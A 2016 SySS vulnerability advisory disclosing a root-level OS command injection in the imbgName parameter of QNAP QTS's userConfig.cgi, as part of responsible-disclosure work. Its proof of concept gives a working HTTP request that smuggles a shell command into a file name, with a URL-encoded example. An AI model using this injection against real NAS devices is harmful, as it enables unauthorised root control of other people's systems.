QNAP QTS 4.2.1 Build 20160601 imbgName Parameter Command Injection

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Advisory ID: SYSS-2016-052  
Product: QNAP QTS  
Manufacturer: QNAP  
Affected Version(s): 4.2.1 Build 20160601  
Tested Version(s): 4.2.1 Build 20160601 - 4.2.2 Build 20160812  
Vulnerability Type: OS Command Injection (CWE-78)  
Risk Level: High  
Solution Status: unfixed  
Manufacturer Notification: 2016-06-06  
Solution Date: tbd.  
Public Disclosure: 2016-08-18  
CVE Reference: Not assigned  
Author of Advisory: Sebastian Nerz (SySS GmbH)  
  
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Overview:  
  
QTS is the operating system used by manufacturer QNAP on its series of  
NAS devices[1].  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
  
The SySS GmbH found an os command injection in the userConfig plugin of   
the current QTS administrative interface.  
  
This type of vulnerability allows an attacker to run arbitrary commands  
on the operating system of the host as root.  
  
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Proof of Concept (PoC):  
  
1. Log in to the QNAP. The user needs no special privileges.  
2. Run a request like the following:  
  
==  
POST /cgi-bin/userConfig.cgi?imbgName=a$([command]).jpg&func=uploadBgImg&sid=[sid] HTTP/1.1  
Host: [IP of the QNAP]:8080  
Content-Type: multipart/form-data;boundary=foo  
Content-Length: 115  
  
foo  
Content-Disposition: form-data; name="filename"; filename="foo.jpg"  
Content-Type: image/jpeg  
  
asdf  
foo--  
  
==  
3. The contained command will be exeucted. An example would be  
  
$(bash -c '(echo;ls) 1>&2')  
  
complete URL:  
  
/cgi-bin/userConfig.cgi?imbgName=a$(bash%20-c%20'(echo;ls)%201>%262')Img.jpg&func=uploadBgImg&sid=[sid]  
  
which will display the content of the current working directory (/home/httpd/cgi-bin) as content.  
  
  
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Solution:  
  
The manufacturer has not released any security update or patch so far.  
Administrators of QNAP QTS 4.2 installations should ensure that only   
trusted users/administrators have access to the device.  
  
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Disclosure Timeline:  
  
2016-06-06: Vulnerability discovered and reported to manufacturer  
2016-06-20: Vulnerability report confirmed by manufacturer  
2016-07-06: Manufacturer asked for timeline regarding a fix  
2016-07-18: Manufacturer reminded about upcoming public disclosure  
2016-08-18: Public disclosure  
  
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References:  
  
[1] Product website for QNAP QTS  
http://www.qnap.com/qts/4.2/en/  
[2] SySS Security Advisory SYSS-2016-052  
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-052.txt  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy/  
  
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Credits:  
  
Security vulnerability found by Sebastian Nerz of the SySS GmbH.  
  
E-Mail: [email protected]  
Public Key:  
https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Sebastian_Nerz.asc  
Key ID: 0x9180FDB2  
Key Fingerprint: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
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